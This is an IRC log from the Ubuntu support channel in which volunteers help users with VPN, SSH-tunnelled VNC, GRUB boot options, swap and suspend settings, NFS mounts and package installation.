[20:49] <TheOvermind> Your not the only one
[20:49] <exobyte> naftilos76: getting one, I think
[20:49] <TheOvermind> I LIKE WAFFLES EVERBODY! XD
[20:49] <wilee-nilee> !ot | TheOvermind,
, <wilee-nilee>, in BIOS settings
[20:50] <naftilos76> exobyte: Is it supposed to run like hell? It's really cool if it is true :-)
[20:50] <valeness> /home/valeness/Downloads/Borderlands.2-SKIDROW/sr-borderlands2.iso
[20:50] <valeness> Bah
[20:50] <alpha_> wilee-nilee : see this : http://imagebin.org/271306
[20:50] <faugusztin> DrFaustus: what board or what device ?
[20:50] <valeness> for -s, i get "7486284 sr-borderlands2.iso
[20:50] <k1l> valeness: we dont support warez in here
[20:51] <valeness> *facedesk*
[20:51] <Timvde> The backlight of my laptop turns off randomly (and quite often, at worst cases every few seconds). Ubuntu 13.04. I haven't found anything in my logfiles yet, but it is very annoying to search them when my screen keeps turning off...
[20:51] <valeness> Any particular reason?
[20:51] <wilee-nilee> alpha_, 2d does not allow you to change the unity panel width is all.
[20:51] <k1l> valeness: the reason should be obvious.
[20:51] <valeness> It's not, enlighten me.
[20:51] <faugusztin> Timvde: can you rule out hardware issue ?
[20:52] <valeness> to assume it's theft can be a drawn out and lengthy discussion with no definite answer.
[20:52] <Timvde> faugusztin: No :)
[20:52] <k1l> !warez > valeness
[20:52] <Strit> valeness, Skidrow are know pirateers
[20:52] <Timvde> faugusztin: Ubuntu is the only OS installed on this laptop, so I can't test it on Windows
[20:52] <wilee-nilee> DrFaustus, really, there are usually at least 4 sections in a bios, I also asked if the ss#'s are ssd drives.
[20:52] <alpha_> wilee-nilee : but when I logged in ubuntu as ordinary i cant see unity and toolbar
[20:52] <DrFaustus> gigabyte s-series,<faugusztin>
[20:52] <faugusztin> Timvde: you can let the system run in BIOS
[20:53] <faugusztin> DrFaustus: what option is that
[20:53] <wilee-nilee> alpha_, Have you looked in additional drivers after doing a full update/upgrade for missing graphic drivers?
[20:53] <alpha_> wile-nilee : there is a beta driver for my Graphic card ... should I install that ?
[20:54] <Timvde> faugusztin: Whether or not it is a hardware issue, do you have any idea what logfile might help? I looked in dmesg and /var/log/syslog, without any result.
[20:54] <wilee-nilee> alpha_, I would install what is suggested, is ythere more than one choice, additionally graphic drivers are not my forte is all.
[20:54] <wilee-nilee> there*
[20:55] <barus> 'oo'
[20:55] <alpha_> wilee-nilee : there is just one choice to install
[20:55] <faugusztin> Timvde: i would say dmesg command and Xorg.0.log could log something about that, if it was a result of software. If it is your backlight dying, then there is nothing to be reported, because backlight is just that, a backlight :)
[20:55] <wilee-nilee> alpha_, You can find the graphic info by running lspci in the terminal include that here when asking for help if you do not get this fixed.
[20:56] <wilee-nilee> alpha_, You could try it, I'm just not the one that can definitively help you in this area is all
[20:56] <faugusztin> Timvde: it could be a cable being cut, or simple tear & wear of the backlight
[20:57] <alpha_> wilee-nilee : ok .. thank you so much
[20:57] <wilee-nilee> alpha_, No problem, I just don;t want to leave you stranded is all. ;)
[20:58] <alpha_> wilee-nilee : now , what should I do exactly ?
,it's in cpu power management
[20:59] <RageYL> hi =)
[20:59] <Timvde> faugusztin: Hmm. Thanks anyway, I'm off now. I'll try the BIOS thing later :)
[21:00] <RageYL> sorry to annoy you but in 1 year it's the 5 times i try to set up a vpn in an ubuntu lts, but it always fail...
,it's not about ssd's
[21:00] <k1l> !details | RageYL
[21:03] <faugusztin> DrFaustus: then you mean S1 or S3 sleep mode, not SS1 and SS3... well, not sure about the answer, i never required sleep mode on a ubuntu system
[21:03] <RageYL> i have followed the tutorial of ubuntu
[21:03] <RageYL> my server side seems to start normaly
[21:03] <k1l> RageYL: what ubuntu, what tutorial, what errormessages? etc etc etc
[21:03] <RageYL> but my client stop on "link remote" line
[21:03] <wilee-nilee> alpha_, If it were me I would run the lspci and identify the graphic info, than check the web and or the channel with the driver suggested, since it is listed as a beta, It may be fine and your home free, I just use a method in general that is opposite of my nick.
[21:03] <RageYL> for the tutorial: http://doc.ubuntu-fr.org/openvpn
, that's right , sorry it's my fault
[21:03] <alpha_> wilee-nilee : thanks.
[21:03] <wilee-nilee> DrFaustus, Not sure on the answer, I would want full cpu when needed is all, you can use tab to complete nicks here.
[21:03] <RageYL> i use a server host on amazone web service
[21:03] <RageYL> with a ubuntu 12 LTS
[21:03] <RageYL> i have also tried other tutorials but they don't work too (no useful to link them so)
[21:04] <RageYL> my client side error: https://gist.github.com/anonymous/e61bee930739c52a1393
[21:04] <RageYL> (not error just timeout)
,  tab is not working
[21:05] <RageYL> ups fail: https://gist.github.com/34e78028f5bc0d3a9bfb
[21:06] <RageYL> (my client is on archlinux)
[21:06] <wilee-nilee> DrFaustus, you on a phone, all you do is type some of the nick and hit tab.
[21:07] <wilee-nilee> no biggie just makes it easier at times is all
[21:08] <jhutchins>  I like the clients that will repeat the last nic if you tab on a blank line, but they don't all do that (irssi doesn't).
[21:08] <jhutchins> Handy for ongoing conversations.
[21:09] <k1l> RageYL: http://openvpn.net/index.php/open-source/faq/79-client/253-tls-error-tls-key-negotiation-failed-to-occur-within-60-seconds-check-your-network-connectivity.html
[21:09] <RageYL> thx i take a look
[21:09] <k1l> RageYL: are you sure its the ubuntu servers fault and not your clients fault?
[21:09] <RageYL> k1l: i am comming here because i am totaly lost
[21:09] <RageYL> so i don't know
[21:10] <RageYL> but as my server is starting without error you must be right
[21:10] <k1l> RageYL: so i would see the arch support and test if the client is working
[21:10] <RageYL> k
[21:10] <Daghdha> Hi, some voice is reading out all text on my screen, how can i stop that?
[21:11] <RageYL> someone host me with the same stuff and everything he gave me work pretty well
[21:15] <wilee-nilee> Daghdha, turn off Orca
[21:15] <barus> iptraf
[21:16] <Daghdha> sudo apt-get remove gnome-orca
[21:16] <Daghdha> killall orca
[21:16] <Daghdha> will that be ok?
[21:16] <Strit> killall orca should do it
[21:16] <k1l> Daghdha: just turn it off in the first place
[21:16] <Strit> remove it only if you want to get rid of it entirely
[21:16] <k1l> it should be in the system settings
[21:17] <Daghdha> i want it removed
[21:17] <Strit> then kill it and remove it.
[21:17] <Daghdha> i don't know why it started talking in the first place, it is gone now
[21:17] <Strit> shouldn't harm the rest of the system.
[21:18] <wilee-nilee> Daghdha, NOt sure if orca is part of a meta set, if off you should not have a problem if that is what it is.
[21:18] <wilee-nilee> Daghdha, You turned it on it has a button in the top panel I believe.
[21:18] <SubCool> could someone explain a lil the VNC over SSH? im folloowing the guide- but im not sure if its actually working
[21:19] <ikonia> SubCool: test it...
[21:21] <Daghdha> I think i installed 12.04 can installing updates from the update manager increase  this number?
[21:21] <SubCool> ikonia, i get that.. but.. im saying.. i use this command.
[21:21] <SubCool> ssh -L 5901:localhost:5901 -N -f -l rocky sshserver.mydomain.com - but nothing happens.. the prompt goes back to user
[21:24] <RageYL> k1l: do you know a means to diagnostic what is the problem ?
[21:24] <RageYL> because all my iptables are in "accept" mode
[21:25] <mistaknly> I have a performance question..
[21:25] <SubCool> So this is what i have working.. i have SSH'ed into the machine, and rand X11vnc - and now i am connected. But- i would like to make the vnc connect encrypted.. i thought using that one command.. would work. .but- im not sure if it is.. how do i test it
[21:27] <jhutchins> SubCool: You're probably going to have to resort to reading the docs and finding out whether your copy of X11vnc uses encryption.  Some vnc servers do, some don't.
[21:27] <SubCool> .... i dont think im explainging myself thoroughly enough.
[21:28] <ikonia> SubCool: the encyption is the ssh layer
[21:28] <SubCool> http://www.cyberciti.biz/tips/tunneling-vnc-connections-over-ssh-howto.html
[21:28] <SubCool> when i use this command: ssh -L 5901:localhost:5901 -N -f -l rocky sshserver.mydomain.com
[21:28] <SubCool> this is what my output displays
[21:28] <ikonia> SubCool: ssh is the thing doing the encuption
[21:28] <ikonia> encryption
[21:30] <SubCool> i understand ..
[21:30] <SubCool> but using that comand has no output
[21:30] <SubCool> i cant display what its been doing- but it would ask for a password, and then just move back to the prompt
[21:31] <SubCool> no ssh, no vnc windows.. nothing
[21:31] <Guest72430> Question what -t stand for or do in this command  sudo mkfs -t ext5 /dev/sdb1       ???
[21:31] <ikonia> SubCool: what are you talking about it displays no output - it shouldn't it's creating a tunnel
[21:31] <ggherdov> hello. How do I upgrade from 11.04 to 12.04 via the command line ? (it's an ubuntu server, no X)
[21:32] <ikonia> Guest72430: tha command doesn't exist
[21:32] <ikonia> Guest72430: ext5 does not exist
[21:32] <SubCool> so- after i run that command.. any vnc connection is run in ssh?
[21:33] <ikonia> SubCool: that is the encypted tunnel your vnc connection is running over
[21:34] <jhutchins> SubCool: Only the connection to localhost:5901.
[21:35] <SubCool> subcool@subcoolT60:/home$ ssh -L 5901:localhost:5901 -N -f -l subcool IP subcool@IP's password:
[21:35] <SubCool> subcool@subcoolT60:/home$
[21:35] <SubCool> jhutchins, you said local host, now what if im trying to do this over the internet
[21:36] <SubCool> best way i can figure to test it is sniff the data
[21:36] <StarFlower> ggherdov,  you should be able to download 12.04 and verify the checksum then mount it to /media/cdrom or wherever you want to mount. then run  'sudo sh /media/cdrom/cdromupgrade
[21:37] <ggherdov> StarFlower: ok. I was hoping in something driven by apt, even if it involved several intermediate updates. But yeah, why not the cdrom.
[21:38] <joelteon> is it possible to install packages built for newer ubuntus on an older one?
[21:38] <day> is there a specific channel for tablets/ubuntu?
[21:38] <StarFlower> I think apt might want to upgrade you to 13.04 or 13.10
[21:39] <joelteon> specifically, haskell-yesod is 1.2.1 on saucy salamander, but my travis build box is using precise pangolin, which has yesod 0.10.1, which is WAY too old
[21:39] <joelteon> I don't have control over what OS the build box uses
[21:39] <ggherdov> StarFlower: ah. no, it's my server (even if for hobby project), would like to keep it to a LTS
[21:39] <ggherdov> thanks
[21:40] <StarFlower> ggherdov: your welcome
[21:40] <SubCool> i dont undertand.. and its getting to me.
[21:40] <SubCool> bind: Address already in use
[21:40] <SubCool> channel_setup_fwd_listener: cannot listen to port: 5901
[21:40] <SubCool> Could not request local forwarding.
[21:40] <joelteon> or is my request entirely nonsensical
[21:40] <SubCool> so- the local port is listening... does that mean only non wan addresses? -
[21:41] <k1l> day: #ubuntu-arm for regular ubuntu on arm or #ubuntu-touch for he tablet/smartphone system
[21:45] <InevBetrayal> hi everyone! I managed to install ubuntu 12.04 on my 2009 unibody macbookpro. Gave it a 4GB swap (from a previous failed instalation) and a 12GB partition. I can boot to GRUB (to pick which OS to boot with) but when i pick Ubuntu, it won't boot, just display either a purple or dark screen. Any ideas?
[21:47] <OerHeks> InevBetrayal, did you check the mactel pages? i think you need to add nomodeset to your grub https://wiki.ubuntu.com/MactelSupportTeam/CommunityHelpPages
[21:47] <OerHeks> !nomodeset
[21:47] <jhutchins> SubCool: The idea here is that you create a "tunnel" with ssh that connects a port on your local machine with the remote machine.  Connect to that port locally and it's as if you were connecting to the remote machine.  The command to set up the port doesn't return anything - it djust does it, although I think you can add a -v -vv or -vvv option for increasing feedback.
[21:49] <day> k1l: ty
[21:49] <InevBetrayal> OerHeks, i was only able to start instalation after adding the nomodeset, ill try looking up how to add it to grub, thank you!
[21:50] <cmaiz82> please, can you tell me how can i change my screen resolution on KDE???
[21:51] <ftyfuiuj> join #ubuntu
[21:52] <OerHeks> InevBetrayal, https://help.ubuntu.com/community/Grub2#Configuring_GRUB_2
[21:53] <fishcooker> how to list content of the disk drive that have folder size above 700MB?
[21:54] <wilee-nilee> fishcooker, the disk usage analyzer gives some info might work for you
[21:54] <InevBetrayal> OerHeks, thanks! the lack of the nomodeset is most likely the problem, i'm going to try to configure grub and ill be right back!
[21:55] <arayaq> InevBetrayal: Edit /etc/default/grub to make it permanent
[21:55] <fishcooker> i only have access on terminal wilee-nilee; how to list content of the disk drive that have folder size above 700MB in command line?(i want to move all that over700MB to another disk)
[21:56] <wilee-nilee> fishcooker, Not sure myself from a cli.
[21:56] <fishcooker> *i mean folder over 700MB
[21:56] <fishcooker> err folders
[21:56] <arayaq> InevBetrayal: add nomodeset at the end of the line that says "splash quit"
[21:56] <arayaq> InevBetrayal: Then run sudo update-grub
[21:57] <wessel> Is it possible to sleep ubuntu 13.4 without a swap partition?
[21:57] <wessel> My ubuntu can sleep, but it won't wake up properly
[21:57] <wessel> goes crazy slow
[21:58] <wessel> I heard that it can have something to do with graphics drivers
[21:58] <Ari-Yang> wessel, what card do you have? and what driver are you using, open source or proprietary?
[21:59] <wessel> GeForece 9800 GT
[21:59] <wessel> (proprietary, tested)
[21:59] <wessel> Binary Xorg driver
[22:00] <wilee-nilee> wessel, YOu should have a swap in general, it is for hibernation and swappiness, but sleep should happen without it.
[22:00] <wessel> Can I still get a swap?
[22:00] <wessel> I have unpartitioned space
[22:01] <wessel> I don't want to hibernate, I want to sleep, but okay
[22:01] <wessel> suspend it what 'sleep' is called
[22:02] <wilee-nilee> wessel, You just want to be aware of partition types and limitations on a standard primary and extended msdos partitioning setup.
[22:03] <wessel> I don't understand when to use primary or when to use logical partition
[22:03] <wilee-nilee> wessel, This is just swap stuff the sleep I'm not sure of the answer.
[22:03] <wessel> I have only a 250GB SSD, I think this partition is 80GB rest is free space
[22:03] <wilee-nilee> wessel, can you run sudo fdisk -l and pastebin the output.
[22:04] <wessel> ~paste
[22:04] <wessel> ~paste
[22:04] <wessel> !paste
[22:04] <FloodBot1> wessel: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[22:04] <wilee-nilee> !pastebin | wessel
[22:04] <wessel> http://paste.ubuntu.com/6125834/
[22:05] <InevBetrayal> arayaq, in grub, i have "quiet splash nomodeset $vt_handoff" (and "quiet splash $vt_handoff nomodeset") hit ctrl+x to boot, but now all i get is a command prompt, and the only way i get to leave this is to hard shutdown :/
[22:06] <arayaq> InevBetrayal: Can you paste you /etc/default/grub?
[22:06] <wilee-nilee> wessel, Cool you just have one primary, so you can add a swap, it should be just slightly larger than your ram amount. Here is a trim link as well since you have a SSD. https://sites.google.com/site/easylinuxtipsproject/ssd
[22:06] <wessel> I have 32GB
[22:06] <wessel> will take up quite a bit of disk space
[22:07] <wilee-nilee> wessel, That link has some info on swappiness
[22:07] <wilee-nilee> wessel, Hmm, well since you have so much ram I would investigate what is really needed for your use, equal to ram is for hibernate or really high usage is all.
[22:08] <Connor> Hello..  I need some help..I just upgraded my 10.04 LTS to 12.04 LTS.  I'm trying to migrate my theme over.. and almost have it right.. but, I'm having some issues with a few specific things.
[22:08] <wilee-nilee> equal to ram for hibernate primarily, to be more succinct.
[22:08] <wessel> wilee-nilee, I never hibernate, but sometimes my computer goes to sleep, when I stay away from my computer to long
[22:08] <ikonia> Connor: you're going to have huge problems with that
[22:09] <wilee-nilee> Connor, server or desktop?
[22:09] <wessel> and then I loose all my work, because I can't wake up the machine
[22:09] <ikonia> Connor: you're moving from gnome2 - to unity, which are totally different display systems
[22:09] <Connor> First: The icons that show up in Thunderbird/Chrome and a few others, are different.. and non of the icons I've tried match.
[22:09] <bekks> wilee-nilee, wessel: regarding swappiness, let me search that clarifying article.
[22:09] <Connor> Desktop.
[22:09] <wilee-nilee> bekks, Cool thanks.
[22:10] <Connor> The 2nd issue.. HOW the heck do I get rid of the top bar?  I got rid of it in 10.04 LTS.. but, can't find out how to get rid of it..  I found a few things and tried them.. but no go.
[22:10] <ikonia> Connor: you're going to have massive problems with this
[22:10] <arayaq> InevBetrayal: Have to go. To revert just undo the changes and run sudo update-grub again
[22:11] <InevBetrayal> arayaq, i cant get to the file
[22:11] <Connor> And lastly.. and this, is the biggest for me..  (and may be a Thunderbird, not ubuntu problem) is, Thunderbird no long has folder specific icons like it once did, and it's not bolding the folders that have new mail.
[22:11] <arayaq> InevBetrayal: Why not?
[22:11] <InevBetrayal> cant get past grub
[22:12] <bekks> wilee-nilee, wessel: Thats it: http://askubuntu.com/questions/103915/how-do-i-configure-swappiness -- Summary: Dont set swappiness below 5-10, until you really have plenty of RAM. :)
[22:12] <arayaq> InevBetrayal: In grub choose adavanced option (second entry most of the time) and then recovery mode.
[22:12] <arayaq> InevBetrayal: From there to a root shell, from there you can see the file (use nano)
[22:12] <arayaq> InevBetrayal: Like nano /etc/default/grub
[22:13] <InevBetrayal> arayaq, so boot in recovery mode and i should be able to nano into the file?
[22:13] <wessel> bekks, thanks I will set my swappiness to 10 or so, but my biggest problem is not wake up after sleep
[22:13] <bekks> wilee-nilee, wessel: And even more important: set vm.oom_kill_allocating_task=1 in /etc/sysctl.conf when setting swappiness near to 0.
[22:13] <genii> InevBetrayal: You may need to do: mount -a -o remount,rw      first.
[22:13] <arayaq> InevBetrayal: Yes, if you want to edit the file, you have to mount the filesystem first
[22:14] <wessel> bekks, this line is not in my config file?
[22:15] <InevBetrayal> arayaq, i do have an option to update the grub bootloader, will this change be permanent or is it single boot?
[22:15] <bekks> wessel: That why I said "set ..." :)
[22:15] <arayaq> InevBetrayal: Ill be back in four of less hours, if you keep stuck ill be here
[22:15] <wilee-nilee> bekks, Thanks, that is actually in that trim link I posted.
[22:15] <InevBetrayal> arayaq, alright, thanks a lot for your help!
[22:16] <arayaq> InevBetrayal: no problem :)
[22:17] <bekks> wilee-nilee: Well, cache_pressure is another point to argue about ;)
[22:17] <wilee-nilee> bekks, Hehe probably so, beyond my area for sure. ;)
[22:18] <wessel> wilee-nilee, can you comment on this link?
[22:18] <wessel> http://askubuntu.com/questions/147539/computer-wont-wake-from-suspend
[22:18] <wessel> I'm not sure I understand how to implement solution B
[22:18] <bekks> wessel: I did some business impact investigation in that area in the last days ;)
[22:18] <wilee-nilee> wessel, Not with any real authority, I'm really just an armchair user, with to much free time.
[22:19] <wessel> armchair user?
[22:19] <smw94> is there any way to set notify-OSD as default notification ?
[22:21] <wilee-nilee> wessel, I have other interest that are precede OS's, I have just been using open source for awhile and spent a lot if time here and on the ubuntu forums, so I have some areas I know pretty well, but others not so well, I'm not a IT person.
[22:22] <wessel> okay, cool :P
[22:25] <InevBetrayal> genii: ITS ALIVE! thanks for the tip on mounting the disk!
[22:29] <winterpk> I have a problem with NFS and mounting specific folders on my client server. Folling this guide: https://help.ubuntu.com/community/SettingUpNFSHowTo I'm trying to mount a specific folder from my nfs server to my client with the command: sudo mount -t nfs4 -o proto=tcp,port=2049 nfs-server:/users /home/users.  BUt I'm getting an error saying "No such file or directory".  Has anyone ever had this
[22:29] <winterpk> problem?
[22:29] <upd> you do not have such file or directory.
[22:29] <winterpk> I most definitely do
[22:30] <bekks> winterpk: you dont.
[22:30] <winterpk> and its added to my /etc/exports
[22:30] <winterpk> well actually I have a mounted version
[22:30] <winterpk> on the server
[22:30] <winterpk> so I guess its technically not the real one
[22:31] <winterpk> somewhat of a complex situation
[22:31] <ikonia> winterpk: winterpk you shouldn't need the proto option
[22:31] <winterpk> ok
[22:31] <bekks> winterpk: Whats the full error message?
[22:31] <winterpk> that is actually the full error
[22:31] <winterpk> No such file or directory
[22:31] <winterpk> I was able to successfuly mount the nfs drive
[22:32] <winterpk> when I did it with this command:
[22:32] <winterpk> sudo mount -t nfs -o proto=tcp,port=2049 nfs-server:/ /mnt
[22:32] <winterpk> (paths differ)
[22:32] <bekks> Then you dont have /home/users
[22:32] <winterpk> but I do have that folder
[22:32] <ikonia> winterpk: that's a totally different share and totally different mount point
[22:33] <ikonia> winterpk: change just one thing
[22:33] <winterpk> I know I know, sorry let me jet my specific pathing
[22:33] <winterpk> ok so command 1:
[22:34] <winterpk> sudo mount -t nfs -o proto=tcp,port=2049 nfs-server:/ /var/www/sitename
[22:34] <ikonia> winterpk: you've changed 2 things again !
[22:34] <ikonia> winterpk: change 1 thing
[22:34] <winterpk> this is the command that works
[22:34] <ikonia> winterpk: sudo mount -t nfs -o proto=tcp,port=2049 nfs-server:/ /mnt
[22:34] <Connor> so, can someone tell me how the heck to remove the stupid top bar in 12.04 ?
[22:35] <ikonia> winterpk: you said that was the command that worked
[22:35] <ikonia> winterpk: change 1 thing - either the share, or the mount point
[22:35] <winterpk> I was using default values from this guide https://help.ubuntu.com/community/SettingUpNFSHowTo
[22:35] <ikonia> winterpk: I'm not asking the guide you're using
[22:35] <ikonia> winterpk: I'm telling you to change 1 thing from the failing command to the good command
[22:35] <winterpk> ok
[22:35] <wessel> If I download an .pgn file to serve as an custom icon for my launcher, should I put this in usr/share?
[22:36] <k1l_> Connor: use a desktop that is supposed to let you modify that
[22:36] <winterpk> so then anyway that command acutually works fine
[22:36] <winterpk> and mounts to the folder /var/www/sitename
[22:36] <winterpk> perfect
[22:36] <ikonia> winterpk: what was the command you used ?
[22:36] <ikonia> winterpk: exactly please.
[22:38] <winterpk> I have a secure domain that I'm not going to post instead I will repleace with 'nfs-server'
[22:38] <winterpk> also the path is going to be renamed to '/var/www/sitename'
[22:38] <upd> mybe /var/www/sitename has different permissions then other :P
[22:38] <ikonia> upd: it's a mount point.....
[22:38] <winterpk> I"ve 777d that folder
[22:39] <ikonia> winterpk: just show us the command please.
[22:39] <winterpk> ok
[22:39] <winterpk> sudo mount -t nfs -o proto=tcp,port=2049 nfs-server:/ /var/www/sitename
[22:39] <winterpk> that is the one that works
[22:39] <ikonia> winterpk: again that is 2 changes !!!!!
[22:39] <ikonia> winterpk: how hard is this to grasp
[22:39] <ikonia> winterpk: you have changed the SHARE AND the MOUNTPOINT
[22:39] <ikonia> winterpk: only change 1 !!!!
[22:40] <winterpk> lol
[22:40] <ikonia> winterpk: it's not funny
[22:40] <ikonia> winterpk: you are wasting peoples time
[22:40] <winterpk> I'm not giving my secure urls
[22:40] <bekks> "secure urls" in a local LAN.
[22:40] <ikonia> winterpk: don't give secure URLs
[22:40] <ikonia> winterpk: the share was nfs-server:users and the mount point was /home/users
[22:40] <winterpk> yes in a local lan
[22:40] <winterpk> I know I know lol
[22:41] <ikonia> winterpk: you've changed the share to nfs-server:/ AND the mount point to /var/www/sitename
[22:41] <ikonia> winterpk: change 1 !!! not both
[22:41] <ikonia> winterpk: again - it's not funny
[22:41] <shaiguit1r> anyone know what package or source I need to install for libunwind ? I need it to compile a project, but I can't find the package anywhere...:(
[22:41] <winterpk> I'm seriously not trying to wast time
[22:41] <ikonia> winterpk: then seriosly - listen and do what you are being asked to do
[22:41] <shaiguit1r> maybe my sources.list doesn't have something it should?
[22:42] <shaiguit1r> help greatly appreciated!
[22:42] <winterpk> ok 1 sec then
[22:42] <lattera> so I have two nvidia cards (same model: quadro 2000) and three monitors... I have two of the monitors plugged into one card and are working perfectly... I'd like to hook up the third monitor and have it rotated 90 degrees... anyone have any pointers?
[22:43] <ikonia> lattera: don't use twinview
[22:43] <ikonia> lattera: that can't span cards
[22:43] <OerHeks> !find libunwind
[22:43] <lattera> ikonia: so separate X sessions on each of the monitors?
[22:43] <ikonia> lattera: sadly....yes
[22:43] <lattera> :(
[22:44] <wessel> why does ubuntu show me all this music I can buy on amazon, every time I hit win key
[22:44] <ikonia> !lens
[22:44] <OerHeks> shaiguitar, https://launchpad.net/ubuntu/+source/libunwind
[22:45] <jhutchins> wessel: They want to make a commission.
[22:45] <shaiguitar> OerHeks: yea, I can't install those, I'm not an ubuntu expert, what have I missed? is that source in my list file, how do I check?
[22:45] <shaiguitar> it just says "not found" for all of those
[22:46] <StarFlower> http://download.savannah.nongnu.org/releases/libunwind/
[22:47] <upd> winterpk, well i never used that but mybe http://askubuntu.com/questions/35077/cannot-mount-nfs4-share-no-such-file-or-directory probably im wrong
[22:47] <winterpk> command that worked: sudo mount -t nfs -o proto=tcp,port=2049 ec2-54-245-234-196.us-west-2.compute.amazonaws.com
[22:47] <winterpk> :/ /var/www/shields/
[22:47] <ikonia> winterpk: this is a total waste of time
[22:47] <ikonia> winterpk: you have changed 2 things AGAIN !!!!
[22:47] <winterpk> forget what i first posted!
[22:47] <OerHeks> shaiguitar, open softwarecenter> sources and enable sources for the repos, this package is in main
[22:47] <winterpk> forget it
[22:47] <winterpk> god I wish I could start over
[22:47] <ikonia> winterpk: the mount point is /var/www/sitename still and the share is :/ not :/users
[22:48] <shaiguitar> OerHeks: I'm headless, it's a server with ssh access
[22:48] <winterpk> upd: That is my exact problem
[22:48] <winterpk> mounting with / works
[22:48] <shaiguitar> shit, brb though. hopefully you'll be around soon gotta afk bbiab
[22:48] <upd> you give link https://help.ubuntu.com/community/SettingUpNFSHowTo#NFSv4_client
[22:48] <winterpk> but if I specify a folder on the remote server it tells me it doesn't exist
[22:49] <upd> did you read Note that nfs-server:/export is not necessary in NFSv4, as it is in NFSv3. The root export :/ defaults to export with fsid=0.
[22:49] <winterpk> yes
[22:49] <winterpk> but the problem is, that I don't just want to mount the entire tree all in one line
[22:49] <winterpk> I need separate mount points
[22:49] <upd> from here someone will help you that understand this :D
[22:49] <winterpk> lol thanks, was really having a hard time explaing myself there
[22:50] <upd> from what i understand you have to mount entire tree and then subfolders :s
[22:50] <winterpk> but NFSv3 could do individual folders?
[22:50] <winterpk> that seems like a step backwards
[22:51] <upd> yea im probably wrong ...
[22:51] <winterpk> ugh that screws my whole plan
[22:51] <ikonia> winterpk: you can mount individual shares
[22:51] <winterpk> does anyone have any input on this that isn't going to yell at me?
[22:51] <ikonia> winterpk: you do not need to mount the root file system
[22:52] <winterpk> ikonia:but it fails with anything else
[22:52] <bekks> winterpk: why exactly do you need (really need) NFSv4 - and why exactly cant you mount individual shares?
[22:52] <ikonia> winterpk: yes, I see that, howevever you'll need to work it through, - check your shares are exported correctly is a first starting point
[22:52] <winterpk> I don't specificially need NFSv4
[22:53] <bekks> winterpk: Then use NFSv3.
[22:53] <winterpk> when I run the mount command to specify a folder on the NFS server, it files
[22:53] <winterpk> fails
[22:53] <winterpk> bekks: good idea
[22:53] <bekks> Is that folder shared through an individual share entry?
[22:53] <winterpk> on the server?
[22:53] <winterpk> yes
[22:53] <bekks> Then mount it.
[22:53] <winterpk> in the /etc/exports
[22:54] <winterpk> I tried
[22:54] <bekks> Show us. Exact commands as you type them.
[22:54] <winterpk> but thats where my problem is
[22:54] <winterpk> ok give me a sec
[22:54] <winterpk> please don't refer to my earlier commands
[22:55] <bekks> You did post commands earlier? Dementia pregrancy applies to males, too...
[22:56] <joelteon> is it possible to install packages built for newer ubuntus on an older one?
[22:56] <ikonia> no
[22:56] <GlenK> hi.  is there a way to tell when exactly a particular package was installed?
[22:56] <ikonia> GlenK: dpkg log file ?
[22:56] <winterpk> sudo mount -t nfs -o proto=tcp,port=2049 ec2-54-225-234-196.us-west-2.compute.amazonaws.com
[22:56] <winterpk> :/exports/shields /var/www/shields/
[22:59] <k1l_> joelteon: no. the depencies will make trouble in most cases
[22:59] <winterpk> the docs say that its not REQUIRED to specify a folder and it will mount everything when you just use /
[22:59] <bekks> winterpk: And the full, exact error message?
[22:59] <GlenK> ikonia: doesn't seem to be a dpkg command
[22:59] <winterpk>  No such file or directory
[22:59] <winterpk> one more thing I should mention bekks
[22:59] <upd> To export our directories to a local network 192.168.1.0/24
[22:59] <upd> we add the following two lines to /etc/exports
[22:59] <winterpk> on the server: /exports/shields is a mount of my /var/www/shields directory
[22:59] <upd> did you try that xD
[22:59] <winterpk> udp: try what exactly?
[22:59] <ikonia> GlenK: there is a dpkg command, and I said the log file
[23:02] <winterpk> I'm going to try using NFSv3
[23:02] <upd> winterpk, i dont know adding files you want to mount to /etc/exports
[23:03] <winterpk> yeah I added the proper folders to /etc/exports and it does share them just fine when I mount the entire root files system of the servr
[23:04] <winterpk> but I don't necessarily want EVERY shared folder from the server in a SINGLE folder on the client
[23:05] <craigbass1976> What's the quickest way to get a docx into LibreOffice that won't look right when just opening it the normal way?
[23:06] <honestly> huh?
[23:06] <honestly> you could export to ODT from MS Word
[23:06] <ejv> anyway to SIGHUP byobu panel? it hasn't updated RAID status.
[23:06] <honestly> I think new Office versions can do that
[23:07] <upd> winterpk, some post from forums After more research, I found out the problem. It's that nfs4 has a different paradigm than earlier versions. The basic solution is this:
[23:07] <upd> mount -t nfs4 host:/ /mnt
[23:07] <upd> The nfs4 system uses a single hierarchical tree to export--it isn't capable of exporting multiple separate directories or filesystems. You can use the mount -bind <real_dir> <pseudo_dir> strategy to create a single hierarchical tree with all the directories you want to export, and on the client machines you can mount the desired individual portions of the tree. However, I haven't yet found a way to set up the exports to permit some clients to have access to so
[23:07] <upd> me portions of the hierarchy and other clients to have access to other portions. So far I've found that any restrictions on the root of the hierarchical tree are carried to all the branches and leaves. It's not a huge problem for my current situation, but it seems that nfs4 would not be very useful for a real "file server" that allocates various filesystems to various groups of users.
[23:07] <FloodBot1> upd: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[23:07] <upd> ah my bad
[23:07] <winterpk> hmm interesting, reading
[23:08] <winterpk> that is stupid
[23:08] <winterpk> so NFSv4 just dropped the ball
[23:09] <winterpk> how do I use NFSv3?
[23:09] <ejv> !enter | winterpk
[23:09] <winterpk> ok sorry
[23:09] <operator32>  
[23:10] <Hund> Anyone experiencing weird brightness/color issues with nvidia? Its most noticable in the website Facebook where I cant even see the newley marked notifications, they are just as white as the background.
[23:14] <Mago> does anyone here know if it is possible pull out the info of the last location of a samsung galaxy note II from sprint?
[23:15] <alpha_> slackware or OpenSUSE ? which one ?
[23:17] <ikonia> Mago: not really an ubuntu issue/question
[23:17] <ikonia> alpha_: nothing to with ubuntu
[23:17] <shaiguitar> OerHeks: sorry, so what do I do headless? (no UI?)
[23:17] <shaiguitar> open softwarecenter> sources and enable sources for the repos, this package is in main
[23:17] <shaiguitar> I assume that's source.list?
[23:17] <alpha_> ikonia : which one is much stable ?
[23:18] <ikonia> alpha_: this channel is ubuntu - for ubuntu questions, your question is nothing to do with ubuntu, so not something we discuss here
[23:18] <shaiguitar> I have this
[23:18] <shaiguitar> shai@Ubuntu-1004-lucid-32-minimal ~/projects/ltrace_ice99 $ grep launchpad.net /etc/apt/sources.list
[23:18] <shaiguitar> deb http://ppa.launchpad.net/stbuehler/ppa/ubuntu intrepid main
[23:18] <alpha_> ikonia : ok so ubuntu or slackware ?
